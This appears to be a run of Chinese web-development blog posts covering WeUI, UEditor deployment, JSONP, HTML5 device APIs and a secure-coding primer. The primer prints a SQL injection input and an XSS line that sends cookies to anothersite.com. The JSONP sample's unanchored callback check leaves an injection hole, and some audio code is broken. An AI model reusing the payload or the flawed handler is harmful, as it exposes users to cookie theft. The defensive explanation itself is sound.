官方 Demo
WeUI:https://weui.io/
weui.js:https://weui.io/weui.js/
开发文档
WeUI:https://github.com/Tencent/weui/wiki
weui.js:https://github.com/Tencent/weui.js/blob/master/docs/README.md
WeUI for 小程序:https://github.com/Tencent/weui-wxss
引入
① <head /> 中加入:
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=0" />
② 引用样式:(请更改地址中的版本号,参开发文档)
<link href="https://res.wx.qq.com/t/wx_fed/weui-source/res/2.5.16/weui.min.css" rel="stylesheet" />
③ (可选)引用脚本:(请将下方链接中的版本号替换为最新)
<script src="https://res.wx.qq.com/t/wx_fed/weui.js/res/1.2.17/weui.min.js"></script>
经验
搜索框的 <form /> 中不加 action 则键盘中显示灰色“换行”键,加入 action 则键盘中显示蓝色“搜索”键
示例:
<form action="javascript:fn_submit()">
<div>
手机号码:
<input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
</div>
<div>
身份证号码:
<input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
</div>
<div>
<input type="submit" value="提交" />
</div>
</form>
<script>
function fn_submit() {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
</script>
form 的 action 使用 javascript 调用 fn_submit 方法,在这个方法内可以使用 jQuery 的 ajax 来 POST 数据,当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能,并且不会重载页面。
Vue 版本:
<form v-on:submit="fn_submit" method="dialog">
</form>
var app = new Vue({
el: '#app',
methods: {
fn_submit: function () {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
}
});
互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
最近要做个简单的类似 CNZZ 和百度统计的统计器,不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。
参考了 CNZZ 的代码以后,在 Chrome 的控制台发现以下警告:
A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.
Paul Kinlan 给出了解释,是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM,建议改成 document.appendChild() 或 parentNode.insertBefore(),最好的例子就是 Google Analytics。
<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->
上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。
加了一些注释,便于理解,官方英文版。
(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
// console.log(window['GoogleAnalyticsObject']) // 'ga'
// console.log(i[r]) // undefined
i[r] = i[r] || function () { // i[r] 就是 window['ga'],定义了一个函数
(i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
},
i[r].l = 1 * new Date(); // 时间戳,写法等同于 new Date().getTime()
// console.log(i[r]) // window['ga'] 就是上面那个 function
a = s.createElement(o), // 创建一个 script 元素
m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本(文档中肯定至少已有一个脚本了)
a.async = 1; // 异步加载
a.defer = 1; // 兼容旧浏览器(我自己加的)
a.src = g;
m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
过程是:
创建了一个 <script> 元素,并异步加载 http://***/***.js;初始化了一个全局函数 ga;在 ga() 命令队列中添加了两条命令。
现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了,示例:
;(function () {
console.log(ga.q);
})(window);
简单补充下,async 是 HTML5 属性,使支持异步加载 JS 文件;defer 只支持 IE,作用类似。
测试异步只需要将 js 文件换成服务端页面,并人为设置 sleep 时间即可,阻塞式调用的话会在加载 js 时暂停后续页面的渲染。
收录了一些个人觉得不错的网页开发插件。
由于插件更新频繁,本页如有错误请指正,也欢迎告知更多功能强大、使用方便的插件。
插件 | 简介 | 备注 |
框架 | ||
jQuery | 最流行的 JS 框架 | 下载、中文文档、英文整合文档、中文整合文档,浏览器支持、来自 css88 的文档 官方建议 IE 6-8 使用 1.12.4 |
Angular、中文版 AngularJS (version 1.x) | 一套框架,多种平台同时适用手机与桌面 | MVC 架构,使得开发现代的单一页面应用程序(SPAs:Single Page Applications)变得更加容易 |
Vue.js | 是一套用于构建用户界面的渐进式框架。 | |
Bootstrap、中文版 | 简洁、直观、强悍的前端开发框架 | 英文文档、v3中文文档、v2中文文档、视频教程,主题和模板 |
jQuery UI | 为 jQuery 提供更丰富的功能 | 示例:Datepicker、Color Animation、Shake Effect |
功能 | ||
jQuery File Upload | jQuery 文件上传 | 英文文档 |
jQuery Cookie | 读取、写入和删除 cookie | 浏览器支持,文档 |
json2.js | json 操作库 | 已弃用,旧 IE 用 jQuery 的 parseJSON,HTML 5 用 JSON.parse |
Lightbox | 老牌图片浏览插件 推荐使用更强大的 Viewer.js | |
Swiper、中文版 | 最现代的移动触摸滑块(Most Modern Mobile Touch Slider) | 英文文档,中文文档,旧浏览器支持版本:2.x.x,Swiper 2 英文文档,中文文档 |
jquery-cropper | 图片裁剪 | |
FastClick | 用于消除手机浏览器上触摸事件触发之间的 300 毫秒延迟 | 用法,不应用的场景 |
PACE | 页面加载进度条 | 文档,IE8+ |
toastr | jQuery 通知 | 文档 |
Autosize | 一款小巧的,可自动调整 textarea 高度的独立脚本 | IE9+ |
X-editable | 允许您在页面上创建可编辑元素 | 文档,Demo |
select2 | 一款提供搜索过滤、自定义样式的下拉框插件 | |
jQuery Tags Input | 标签输入框 | 用法 |
Viewer.js | 图片浏览插件 | GitHub(viewerjs)、GitHub(jquery-viewer) jquery-viewer 是 viewerjs 的 jQuery 插件,即在 jQuery 环境中要同时引用这两个脚本。 |
PDF.js | A general-purpose, web standards-based platform for parsing and rendering PDFs. | |
编辑器 | ||
UEditor | 百度在线编辑器 | GitHub 下载、文档、ASP.NET 部署教程 |
日期时间 | ||
bootstrap-datepicker | Bootstrap 日期选择器 | Online Demo |
DateTimePicker | 日期时间选择 | |
MultiDatesPicker | 多日期选择 | |
FullCalendar | 日历日程事件工作表 | IE 9+, jQuery 2.0.0+ |
TimeTo | 计时、倒计时 | |
图表 | ||
D3.js | D3.js 是基于数据驱动文档工作方式的一款 JavaScript 函数库,主要用于网页作图、生成互动图形,是最流行的可视化库之一。 | |
Highcharts、中文版 | 兼容 IE6+、完美支持移动端、图表类型丰富、方便快捷的 HTML5 交互性图表库 | 文档 |
ECharts | 百度图表控件 | |
AntV | 来自蚂蚁金服的专业、简单、无限可能的可视化解决方案 G2 - 专业易用的可视化类库 G2-mobile - 移动端高性能可视化类库 G6 - 关系图可视化类库 | 流程图, 关系图, 可视化规范, 地图, 河流图, 力导图, 网络图, UML图, 业务流程图, 时序图 |
SyntaxHighlighter | 功能齐全的代码语法高亮插件(JS) | |
动态排名数据可视化 | 将历史数据排名转化为动态柱状图图表 开源代码,非插件,修改使用 | GitHub、视频教程、EV录屏、网页示例、视频效果 |
图标 | ||
Font Awesome | 完美的图标字体 | IE 8+,v3.2.1 支持 IE 7,进阶用法(定宽/边框/动画/旋转/叠加) |
Glyphicons | 图标字体 | 作为 Bootstrap 组件 |
Iconfont | 阿里巴巴矢量图标库 | 用户可以自定义下载多种格式的 icon,也可将图标转换为字体,便于前端工程师自由调整与调用 |
UI 框架 | ||
WeUI | 同微信原生视觉体验一致的基础样式库 | Demo、Wiki |
Apple UI Design Resources | 苹果用户界面设计资源 |
在 ASP.NET Core 或 ASP.NET 5 中部署百度编辑器请跳转此文。
本文记录百度编辑器 ASP.NET 版的部署过程,对其它语言版本也有一定的参考价值。
【2020.02.21 重新整理】
下载
从 GitHub 下载最新发布版本:https://github.com/fex-team/ueditor/releases
按编码分有 gbk 和 utf8 两种版本,按服务端编程语言分有 asp、jsp、net、php 四种版本,按需下载。
目录介绍
以 v1.4.3.3 utf8-net 为例,
客户端部署
本例将上述所有目录和文件拷贝到网站目录 /libs/ueditor/ 下。
当然也可以引用 CDN 静态资源,但会遇到诸多跨域问题,不建议。
在内容编辑页面引入:
<script src="/libs/ueditor/ueditor.config.js"></script>
<script src="/libs/ueditor/ueditor.all.min.js"></script>
在内容显示页面引入:
<script src="/libs/ueditor/ueditor.parse.min.js"></script>
如需修改编辑器资源文件根路径,参 ueditor.config.js 文件内顶部文件。(一般不需要单独设置)
如果使用 CDN,那么在初始化 UE 实例的时候应配置 serverUrl 值(即 controller.ashx 所在路径)。
客户端配置
初始化 UE 实例:
var ue = UE.getEditor('tb_content', {
// serverUrl: '/libs/ueditor/net/controller.ashx', // 指定服务端接收文件路径
initialFrameWidth: '100%'
});
其它参数见官方文档,或 ueditor.config.js 文件。
服务端部署
net 目录是 ASP.NET 版的服务端程序,用来实现接收上传的文件等功能。
本例中在网站中的位置是 /libs/ueditor/net/。如果改动了位置,那么在初始化 UE 的时候也应该配置 serverUrl 值。
这是一个完整的 VS 项目,可以单独部署为一个网站。其中:
net/config.json 服务端配置文件
net/controller.ashx 文件上传入口
net/App_Code/CrawlerHandler.cs 远程抓图动作
net/App_Code/ListFileManager.cs 文件管理动作
net/App_Code/UploadHandler.cs 上传动作
该目录不需要转换为应用程序。
服务端配置
根据 config.json 中 *PathFormat 的默认配置,一般地,上传的图片会保存在 controller.ashx 文件所在目录(即本例中的 /libs/ueditor/)的 upload 目录中:
/libs/ueditor/upload/image/
原因是 UploadHandler.cs 中 Server.MapPath 的参数是由 *PathFormat 决定的。
以修改 config.json 中的 imagePathFormat 为例:
原值:"imagePathFormat": "upload/image/{yyyy}{mm}{dd}/{time}{rand:6}"
改为:"imagePathFormat": "/upload/ueditor/{yyyy}{mm}{dd}/{time}{rand:6}"
以“/”开始的路径在 Server.MapPath 时会定位到网站根目录。
此处不能以“~/”开始,因为最终在客户端显示的图片路径是 imageUrlPrefix + imagePathFormat,若其中包含符号“~”就无法正确显示。
在该配置文件中查找所有 PathFormat,按相同的规则修改。
说到客户端的图片路径,我们只要将
原值:"imageUrlPrefix": "/ueditor/net/"
改为:"imageUrlPrefix": ""
即可返回客户端正确的 URL。
当然也要同步修改 scrawlUrlPrefix、snapscreenUrlPrefix、catcherUrlPrefix、videoUrlPrefix、fileUrlPrefix。
特殊情况,在复制包含图片的网页内容的操作中,若图片地址带“?”等符号,会出现无法保存到磁盘的情况,需要修改以下代码:
打开 CrawlerHandler.cs 文件,找到
ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));
替换成:
ServerUrl = PathFormatter.Format(Path.GetFileName(SourceUrl.Contains("?") ? SourceUrl.Substring(0, SourceUrl.IndexOf("?")) : SourceUrl), Config.GetString("catcherPathFormat"));
如果你将图片保存到第三方图库,那么 imageUrlPrefix 值设为相应的域名即可,如:
改为:"imageUrlPrefix": "//cdn.***.com"
然后在 UploadHandler.cs 文件(用于文件上传)中找到
File.WriteAllBytes(localPath, uploadFileBytes);
在其下方插入上传到第三方图库的代码,以阿里云 OSS 为例:
// 上传到 OSS
client.PutObject(bucketName, savePath.Substring(1), localPath);
在 CrawlerHandler.cs 文件(无程抓图上传)中找到
File.WriteAllBytes(savePath, bytes);
在其下方插入上传到第三方图库的代码,以阿里云 OSS 为例:
// 上传到 OSS
client.PutObject(bucketName, ServerUrl.Substring(1), savePath);
最后有还有两个以 UrlPrefix 结尾的参数名 imageManagerUrlPrefix 和 fileManagerUrlPrefix 分别是用来列出上传目录中的图片和文件的,
对应的操作是在编辑器上的“多图上传”功能的“在线管理”,和“附件”功能的“在线附件”。
最终列出的图片路径是由 imageManagerUrlPrefix + imageManagerListPath + 图片 URL 组成的,那么:
"imageManagerListPath": "/upload/ueditor/image",
"imageManagerUrlPrefix": "",
以及:
"fileManagerListPath": "/upload/ueditor/file",
"fileManagerUrlPrefix": "",
即可。
如果是上传到第三方图库的,且图库上的文件与本地副本是一致的,那么将 imageManagerUrlPrefix 和 fileManagerUrlPrefix 设置为图库域名,
服务端仍然以 imageManagerListPath 指定的路径来查找本地文件(非图库),但客户端显示图库的文件 URL。
因此,如果文件仅存放在图库上,本地没有副本的情况就无法使用该功能了。
综上,所有的 *UrlPrefix 应该设为一致。
另外记得配置不希望被远程抓图的域名,参数 catcherLocalDomain。
服务端授权
现在来判断一下只有登录用户才允许上传。
首先打开服务端的统一入口文件 controller.ashx,
继承类“IHttpHandler”改为“IHttpHandler, System.Web.SessionState.IRequiresSessionState”,即同时继承两个类,以便可使用 Session,
找到“switch”,其上插入:
if (用户未登录) { throw new System.Exception("请登录后再试"); }
即用户已登录或 action 为获取 config 才进入 switch。然后,
else
{
action = new NotAllowedHandler(context);
}
这里的 NotAllowedHandler 是参照 NotSupportedHandler 创建的,提示语 state 可以是“登录后才能进行此操作。”
上传目录权限设置
上传目录(即本例中的 /upload/ueditor/ 目录)应设置允许写入和禁止执行。
基本用法
设置内容:
ue.setContent("Hello world.");
获取内容:
var a = ue.getContent();
更多用法见官方文档:http://fex.baidu.com/ueditor/#api-common
其它事宜
配置上传附件的文件格式
找到文件:config.json,更改“上传文件配置”的 fileAllowFiles 项,
同时在 Web 服务器上允许这些格式的文件可访问权限。以 IIS 为例,在“MIME 类型”模块中添加扩展名。
遇到从客户端(......)中检测到有潜在危险的 Request.Form 值。请参考此文
另外,对于不支持上传 .webp 类型的图片的问题,可以作以下修改:
config.json 中搜索“".bmp"”,替换为“".bmp", ".webp"”
IIS 中选中对应网站或直接选中服务器名,打开“MIME 类型”,添加,文件扩展名为“.webp”,MIME 类型为“image/webp”
最后,为了在内容展示页面看到跟编辑器中相同的效果,请参照官方文档引用 uParse
若有插入代码,再引用:
<link href="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCoreDefault.css" rel="stylesheet" />
<script src="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCore.js"></script>
其它插件雷同。
若对编辑器的尺寸有要求,在初始化时设置即可:
var ue = UE.getEditor('tb_content', {
initialFrameWidth: '100%',
initialFrameHeight: 320
});
jQuery 请求代码:
$.ajax({ url: "xxxxxx", //method: "GET", // 默认 GET(当 dataType 为 jsonp 时此参数无效,始终以 GET 方式请求) data: $('#myForm').serialize(), // 要传递的参数,这里提交表单 myForm 的内容 dataType: "jsonp" //, jsonp: "callback" // 请求中的回调函数的参数名,默认值 callback //, jsonpCallback: "jQuery_abc" // 本地回调函数名,不指定则随机 }) .done(function () { alert("done"); if (true) { $('#myForm')[0].reset(); } }) .fail(function () { alert("fail"); }) .always(function () { alert("complete"); });
ASP.NET 处理代码:
JavaScriptSerializer jss = new JavaScriptSerializer(); string json = jss.Serialize(new { result = new { success = true, msg = "成功" } }); if (!string.IsNullOrWhiteSpace(Request["callback"]) && Regex.IsMatch(Request["callback"], @"[_$a-zA-Z][$\w]*")) { Response.ContentType = "application/javascript; charset=utf-8"; Response.Write(json + Request["callback"] + "(" + json + ")"); } else { Response.ContentType = "application/json; charset=utf-8"; Response.Write(json); } Response.End();
编者按:今天腾讯万技师同学的这篇技术总结必须强烈安利下,目录清晰,层次分明,每个接口都有对应的简介、系统要求、实例、核心代码以及超实用的思维发散,帮你直观把这些知识点get起来。以现在HTML 5的势头,同志们,你看到的这些,可都是钱呐。
十二年前,无论多么复杂的布局,在我们神奇的table面前,都不是问题;
十年前,阿捷的一本《网站重构》,为我们开启了新的篇章;
八年前,我们研究yahoo.com,惊叹它在IE5下都表现得如此完美;
六年前,Web标准化成了我们的基础技能,我们开始研究网站性能优化;
四年前,我们开始研究自动化工具,自动化测试,谁没玩过nodejs都不好意思说是页面仔;
二年前,各种终端风起云涌,响应式、APP开发都成为了我们研究的范围,CSS3动画开始风靡;
如今,CSS3动画、Canvas、SVG、甚至webGL你已经非常熟悉,你是否开始探寻,接下来,我们可以玩什么,来为我们项目带来一丝新意?
没错,本文就是以HTML5 Device API为核心,对HTML5的一些新接口作了一个完整的测试,希望能让大家有所启发。
目录:
一、让音乐随心而动 – 音频处理 Web audio API
二、捕捉用户摄像头 – 媒体流 Media Capture
三、你是逗逼? – 语音识别 Web Speech API
四、让我尽情呵护你 – 设备电量 Battery API
五、获取用户位置 – 地理位置 Geolocation API
六、把用户捧在手心 – 环境光 Ambient Light API
七、陀螺仪 Deviceorientation
八、Websocket
九、NFC
十、震动 - Vibration API
十一、网络环境 Connection API
一、让音乐随心而动 – 音频处理 Web audio API
简介:
Audio对象提供的只是音频文件的播放,而Web Audio则是给了开发者对音频数据进行分析、处理的能力,比如混音、过滤。
系统要求:
ios6+、android chrome、android firefox
实例:
http://sy.qq.com/brucewan/device-api/web-audio.html
核心代码:
var context = new webkitAudioContext();
var source = context.createBufferSource(); // 创建一个声音源
source.buffer = buffer; // 告诉该源播放何物
createBufferSourcesource.connect(context.destination); // 将该源与硬件相连
source.start(0); //播放
技术分析:
当我们加载完音频数据后,我们将创建一个全局的AudioContext对象来对音频进行处理,AudioContext可以创建各种不同功能类型的音频节点AudioNode,比如
1、源节点(source node)
我们可以使用两种方式加载音频数据:
<1>、audio标签
var sound, audio = new Audio();
audio.addEventListener('canplay', function() {
sound = context.createMediaElementSource(audio);
sound.connect(context.destination);
});
audio.src = '/audio.mp3';
<2>、XMLHttpRequest
var sound, context = createAudioContext();
var audioURl = '/audio.mp3'; // 音频文件URL
var xhr = new XMLHttpRequest();
xhr.open('GET', audioURL, true);
xhr.responseType = 'arraybuffer';
xhr.onload = function() {
context.decodeAudioData(request.response, function (buffer) {
source = context.createBufferSource();
source.buffer = buffer;
source.connect(context.destination);
}
}
xhr.send();
2、分析节点(analyser node)
我们可以使用AnalyserNode来对音谱进行分析,例如:
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var analyser = audioCtx.createAnalyser();
analyser.fftSize = 2048;
var bufferLength = analyser.frequencyBinCount;
var dataArray = new Uint8Array(bufferLength);
analyser.getByteTimeDomainData(dataArray);
function draw() {
drawVisual = requestAnimationFrame(draw);
analyser.getByteTimeDomainData(dataArray);
// 将dataArray数据以canvas方式渲染出来
};
draw();
3、处理节点(gain node、panner node、wave shaper node、delay node、convolver node等)
不同的处理节点有不同的作用,比如使用BiquadFilterNode调整音色(大量滤波器)、使用ChannelSplitterNode分割左右声道、使用GainNode调整增益值实现音乐淡入淡出等等。
需要了解更多的音频节点可能参考:
https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API
4、目的节点(destination node)
所有被渲染音频流到达的最终地点
思维发散:
1、可以让CSS3动画跟随背景音乐舞动,可以为我们的网页增色不少;
2、可以尝试制作H5酷酷的变声应用,增加与用户的互动;
3、甚至可以尝试H5音乐创作。
看看google的创意:http://v.youku.com/v_show/id_XNTk0MjQyNDMy.html
二、捕捉用户摄像头 – 媒体流 Media Capture
简介:
通过getUserMedia捕捉用户摄像头获取视频流和通过麦克风获取用户声音。
系统要求:
android chrome、android firefox
实例:
捕获用户摄像头 捕获用户麦克风
http://sy.qq.com/brucewan/device-api/camera.html
http://sy.qq.com/brucewan/device-api/microphone-usermedia.html
核心代码:
1、摄像头捕捉
navigator.webkitGetUserMedia ({video: true}, function(stream) {
video.src = window.URL.createObjectURL(stream);
localMediaStream = stream;
}, function(e){
})
2、从视频流中拍照
btnCapture.addEventListener('touchend', function(){
if (localMediaStream) {
canvas.setAttribute('width', video.videoWidth);
canvas.setAttribute('height', video.videoHeight);
ctx.drawImage(video, 0, 0);
}
}, false);
3、用户声音录制
navigator.getUserMedia({audio:true}, function(e) {
context = new audioContext();
audioInput = context.createMediaStreamSource(e);
volume = context.createGain();
recorder = context.createScriptProcessor(2048, 2, 2);
recorder.onaudioprocess = function(e){
recordingLength += 2048;
recorder.connect (context.destination);
}
}, function(error){});
4、保存用户录制的声音
var buffer = new ArrayBuffer(44 + interleaved.length * 2);
var view = new DataView(buffer);
fileReader.readAsDataURL(blob); // android chrome audio不支持blob
… audio.src = event.target.result;
思维发散:
1、从视频拍照自定义头像;
2、H5视频聊天;
3、结合canvas完成好玩的照片合成及处理;
4、结合Web Audio制作有意思变声应用。
三、你是逗逼? – 语音识别 Web Speech API简介:
1、将文本转换成语音;
2、将语音识别为文本。
系统要求:
ios7+,android chrome,android firefox
测试实例:
http://sy.qq.com/brucewan/device-api/microphone-webspeech.html
核心代码:
1、文本转换成语音,使用SpeechSynthesisUtterance对象;
var msg = new SpeechSynthesisUtterance();
var voices = window.speechSynthesis.getVoices();
msg.volume = 1; // 0 to 1
msg.text = ‘识别的文本内容’;
msg.lang = 'en-US';
speechSynthesis.speak(msg);
2、语音转换为文本,使用SpeechRecognition对象。
var newRecognition = new webkitSpeechRecognition();
newRecognition.onresult = function(event){
var interim_transcript = '';
for (var i = event.resultIndex; i < event.results.length; ++i) {
final_transcript += event.results[i][0].transcript;
}
};
测试结论:
1、Android支持不稳定;语音识别测试失败(暂且认为是某些内置接口被墙所致)。
思维发散:
1、当语音识别成为可能,那声音控制将可以展示其强大的功能。在某些场景,比如开车、网络电视,声音控制将大大改善用户体验;
2、H5游戏中最终分数播报,股票信息实时声音提示,Web Speech都可以大放异彩。
四、让我尽情呵护你 – 设备电量 Battery API简介:
查询用户设备电量及是否正在充电。
系统要求:
android firefox
测试实例:
http://sy.qq.com/brucewan/device-api/battery.html
核心代码:
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery || navigator.msBattery;
var str = '';
if (battery) {
str += '<p>你的浏览器支持HTML5 Battery API</p>';
if(battery.charging) {
str += '<p>你的设备正在充电</p>';
} else {
str += '<p>你的设备未处于充电状态</p>';
}
str += '<p>你的设备剩余'+ parseInt(battery.level*100)+'%的电量</p>';
} else {
str += '<p>你的浏览器不支持HTML5 Battery API</p>';
}
测试结论:
1、QQ浏览器与UC浏览器支持该接口,但未正确显示设备电池信息;
2、caniuse显示android chrome42支持该接口,实测不支持。
思维发散:
相对而言,我觉得这个接口有些鸡肋。
很显然,并不合适用HTML5做电池管理方面的工作,它所提供的权限也很有限。
我们只能尝试做一些优化用户体验的工作,当用户设备电量不足时,进入省电模式,比如停用滤镜、摄像头开启、webGL、减少网络请求等。
五、获取用户位置 – 地理位置 Geolocation简介:
Geolocation API用于将用户当前地理位置信息共享给信任的站点,目前主流移动设备都能够支持。
系统要求:
ios6+、android2.3+
测试实例:
http://sy.qq.com/brucewan/device-api/geolocation.html
核心代码:
var domInfo = $("#info");
// 获取位置坐标
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition,showError);
}
else{
domInfo.innerHTML="抱歉,你的浏览器不支持地理定位!";
}
// 使用腾讯地图显示位置
function showPosition(position) {
var lat=position.coords.latitude;
var lon=position.coords.longitude;
mapholder = $('#mapholder')
mapholder.style.height='250px';
mapholder.style.width = document.documentElement.clientWidth + 'px';
var center = new soso.maps.LatLng(lat, lon);
var map = new soso.maps.Map(mapholder,{
center: center,
zoomLevel: 13
});
var geolocation = new soso.maps.Geolocation();
var marker = null;
geolocation.position({}, function(results, status) {
console.log(results);
var city = $("#info");
if (status == soso.maps.GeolocationStatus.OK) {
map.setCenter(results.latLng);
domInfo.innerHTML = '你当前所在城市: ' + results.name;
if (marker != null) {
marker.setMap(null);
}
// 设置标记
marker = new soso.maps.Marker({
map: map,
position:results.latLng
});
} else {
alert("检索没有结果,原因: " + status);
}
});
}
测试结论:
1、Geolocation API的位置信息来源包括GPS、IP地址、RFID、WIFI和蓝牙的MAC地址、以及GSM/CDMS的ID等等。规范中没有规定使用这些设备的先后顺序。
2、初测3g环境下比wifi环境理定位更准确;
3、测试三星 GT-S6358(android2.3) geolocation存在,但显示位置信息不可用POSITION_UNAVAILABLE。
六、把用户捧在手心 – 环境光 Ambient Light简介:
Ambient Light API定义了一些事件,这些时间可以提供源于周围光亮程度的信息,这通常是由设备的光感应器来测量的。设备的光感应器会提取出辉度信息。
系统要求:
android firefox
测试实例:
http://sy.qq.com/brucewan/device-api/ambient-light.html
核心代码:
这段代码实现感应用前当前环境光强度,调整网页背景和文字颜色。
var domInfo = $('#info');
if (!('ondevicelight' in window)) {
domInfo.innerHTML = '你的设备不支持环境光Ambient Light API';
} else {
var lightValue = document.getElementById('dl-value');
window.addEventListener('devicelight', function(event) {
domInfo.innerHTML = '当前环境光线强度为:' + Math.round(event.value) + 'lux';
var backgroundColor = 'rgba(0,0,0,'+(1-event.value/100) +')';
document.body.style.backgroundColor = backgroundColor;
if(event.value < 50) {
document.body.style.color = '#fff'
} else {
document.body.style.color = '#000'
}
});
}
思维发散:
该接口适合的范围很窄,却能做出很贴心的用户体验。
1、当我们根据Ambient Light强度、陀螺仪信息、当地时间判断出用户正躺在床上准备入睡前在体验我们的产品,我们自然可以调整我们背景与文字颜色让用户感觉到舒适,我们还可以来一段安静的音乐,甚至使用Web Speech API播报当前时间,并说一声“晚安”,何其温馨;
2、该接口也可以应用于H5游戏场景,比如日落时分,我们可以在游戏中使用安静祥和的游戏场景;
3、当用户在工作时间将手机放在暗处,偷偷地瞄一眼股市行情的时候,我们可以用语音大声播报,“亲爱的,不用担心,你的股票中国中车马上就要跌停了”,多美的画面。
参考文献:
https://developer.mozilla.org/en-US/docs/Web/API
http://webaudiodemos.appspot.com/
http://www.w3.org/2009/dap/
数据库设计规范是个技术含量相对低的话题,只需要对标准和规范的坚持即可做到。当系统越来越庞大,严格控制数据库的设计人员,并且有一份规范书供执行参考。在程序框架中,也有一份强制性的约定,当不遵守规范时报错误。
以下20个条款是我从一个超过1000个数据库表的大型ERP系统中提炼出来的设计约定,供参考。
1 所有的表的第一个字段是记录编号Recnum,用于数据维护
[Recnum] [decimal] (8, 0) NOT NULL IDENTITY(1, 1)
在进行数据维护的时候,我们可以直接这样写:
UPDATE Company SET Code='FLEX' WHERE Recnum=23
